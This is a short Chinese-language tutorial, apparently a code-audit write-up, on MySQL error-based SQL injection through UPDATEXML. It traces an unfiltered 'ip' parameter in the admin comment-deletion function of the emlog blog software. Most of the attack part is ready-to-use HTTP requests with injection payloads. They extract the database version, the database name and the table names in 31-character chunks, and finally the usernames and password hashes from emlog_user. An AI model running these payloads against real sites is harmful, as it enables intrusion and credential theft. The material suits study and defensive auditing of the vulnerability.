一、初识报错注入
报错注入是一种通过引发SQL错误并利用错误消息回显数据库信息的技术。通过使用MySQL中的特定函数(如UPDATEXML
),可以将数据库查询结果嵌入到错误消息中,从而获取数据库中的数据。
二、执行原理
-
代码逻辑分析:
- 用户输入参数(如用户ID)。
- 后台执行SQL查询(查询用户信息)。
- 查询结果在前端回显。
-
报错函数:
- MySQL提供的
UPDATEXML
函数,当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。
- MySQL提供的
-
拼接查询结果:
- 使用
CONCAT
函数将查询结果与特殊符号拼接在一起,使得查询结果显示在报错信息中。
- 使用
-
长度限制:
UPDATEXML
函数的报错信息长度不能超过32个字符。常用解决方案包括:- LIMIT 分页:通过分页查询数据。
- SUBSTR 截取字符:通过截取字符串的一部分来分段获取数据
get接收ip的值,接受过程中没有过滤,
这是fortify扫描的结果,有跟踪过程
下一步传到delCommentByIp,继续跟踪delCommentByIp
没有过滤直接执行sql语句,基本可以确定有sql注入了。
现在要进入$ip还要一些条件,action=delbyip,跟踪checktoken(),
还需要有token,bp抓个包拿一下token,
尝试用sqlmap跑
再尝试手工注入,
GET /admin/comment.php?action=delbyip&ip=1'+and+updatexml(1,concat(0x7e,version()),3)--+&token=99f7c9a9d96668f4937b6a85890c6296
GET /admin/comment.php?action=delbyip&ip=1'+and+updatexml(1,concat(0x7e,(select+database())),3)--+&token=99f7c9a9d96668f4937b6a85890c6296 HTTP/1.1
获取database
GET /admin/comment.php?action=delbyip&ip=1'+and+updatexml(1,concat(0x7e,(select+substr((select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()),1,31))),3)--+&token=99f7c9a9d96668f4937b6a85890c6296 HTTP/1.1
读取前面31个字符
GET /admin/comment.php?action=delbyip&ip=1'+and+updatexml(1,concat(0x7e,(select+substr((select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()),32,31))),3)--+&token=99f7c9a9d96668f4937b6a85890c6296 HTTP/1.1
直到读取到emlog_user
GET /admin/comment.php?action=delbyip&ip=1'+and+updatexml(1,concat(0x7e,(select substr((select group_concat(username,0x3a,password) from emlog_user),1,31))),3)--&token=99f7c9a9d96668f4937b6a85890c6296 HTTP/1.1